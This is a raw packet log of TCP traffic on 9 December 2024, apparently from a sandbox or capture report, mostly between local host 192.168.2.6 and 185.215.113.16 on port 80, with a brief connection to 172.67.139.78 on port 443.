Dec 9, 2024 21:09:26.853916883 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.854563951 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.854599953 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.854710102 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.854748011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.855407000 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.855443954 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.856241941 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.856281996 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.856318951 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.856331110 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.856354952 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.856365919 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.857140064 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.857177019 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.857966900 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.858005047 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.858078003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.858113050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.858367920 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.858403921 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.858911991 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.858949900 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.859030008 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.859069109 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.859714031 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.859750032 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.859873056 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.859910965 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.860677004 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.860733032 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.860838890 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.860876083 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.861476898 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.861515999 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.861582041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.861617088 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.862312078 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.862349987 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.862814903 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.862850904 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.863399982 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.863435030 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.863590002 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.863625050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.864061117 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.864111900 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.864381075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.864420891 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.864876986 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.864914894 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.865024090 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.865055084 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.865752935 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.865784883 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.865994930 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.866036892 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.866640091 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.866676092 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.867117882 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.867155075 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.867662907 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.867674112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.867701054 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.867701054 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.868429899 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.868443012 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.868463993 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.868489981 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.869177103 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.869215965 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.869342089 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.869379997 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.870035887 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.870071888 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.870301008 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.870342016 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.870944977 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.870955944 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.871006966 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.871781111 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.871824026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.872297049 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.872335911 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.872649908 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.872709036 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.872817039 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.872853994 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.873627901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.873665094 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.873671055 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.873698950 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.874382973 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.874437094 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.874975920 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.875017881 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.875238895 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.875281096 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.875391006 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.875430107 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.876138926 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.876178026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.876183987 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.876218081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.877065897 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.877080917 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.877103090 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.877119064 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.877868891 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.877881050 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.877907991 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.877918005 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.878731012 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.878753901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.878770113 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.878787994 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.879729033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.879770041 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.879848957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.879885912 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.880409956 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.880449057 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.880911112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.880949974 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.881361008 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.881371975 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.881398916 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.881411076 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.882139921 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.882183075 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.882201910 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.882240057 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.882994890 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.883007050 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.883033037 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.883048058 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.883771896 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.883807898 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.955210924 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.955271959 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.955349922 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.955390930 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.955636978 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.955672026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.955812931 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.955851078 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.956592083 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.956633091 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.956901073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.956945896 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.957386017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.957423925 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.957585096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.957689047 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.958235979 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.958275080 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.958475113 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.958515882 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.959099054 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.959139109 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.959265947 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.959316015 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.960011005 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.960051060 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.960158110 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.960197926 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.960886955 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.960897923 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.960927010 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.960947037 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.961658955 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.961707115 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.961822033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.961862087 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.962577105 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.962618113 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.963116884 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.963160038 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.025703907 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:27.025734901 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:27.025816917 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:27.026097059 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:27.026108980 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:27.040780067 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.040862083 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.040935993 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.040985107 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.041224957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.041238070 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.041265965 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.041281939 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.042032957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.042073011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.042169094 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.042206049 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.042920113 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.042958021 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.043107033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.043143988 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.043715954 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.043756962 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.043977022 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.044013977 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.044568062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.044610023 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.044678926 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.044715881 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.045562029 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.045574903 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.045604944 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.045619965 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.046297073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.046338081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.046508074 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.046547890 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.047194004 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.047209024 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.047233105 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.047262907 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.047996044 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.048037052 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.048327923 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.048365116 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.048959017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.048998117 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.049031019 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.049062014 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.049778938 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.049815893 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.050276041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.050312996 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.050693989 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.050705910 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.050731897 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.050740957 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.051593065 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.051647902 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.051701069 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.051738977 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.052365065 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.052402973 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.052584887 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.052620888 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.053221941 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.053261042 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.053409100 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.053443909 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.054054022 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.054092884 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.054246902 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.054277897 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.054914951 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.054959059 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.055020094 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.055054903 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.055921078 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.055932999 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.055958986 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.055969000 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.056862116 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.056907892 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.057060957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.057105064 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.057571888 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.057610035 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.057759047 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.057797909 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.058429003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.058440924 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.058470011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.059247017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.059288025 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.059453964 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.059493065 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.060137033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.060172081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.060506105 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.060540915 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.061002016 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.061038017 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.061769009 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.061814070 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.062024117 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.062035084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.062073946 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.062680006 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.062722921 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.063430071 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.063468933 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.063515902 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.063528061 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.063555956 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.063568115 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.064420938 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.064460039 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.065042019 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.065080881 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.065471888 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.065510035 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.065588951 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.065627098 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.066169977 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.066210985 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.066456079 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.066490889 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.066955090 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.066992044 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.067328930 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.067363024 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.067851067 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.067862988 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.067893982 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.068852901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.068892002 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.069339037 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.069380045 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.069617987 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.069657087 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.069684029 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.069717884 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.070497036 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.070529938 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.070836067 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.070875883 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.071289062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.071346998 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.071595907 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.071635008 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.072144985 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.072184086 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.072247028 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.072283983 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.073002100 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.073055983 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.073282957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.073318005 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.073935032 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.073971987 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.074002981 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.074043036 CET	49898	80	192.168.2.6	185.215.113.16
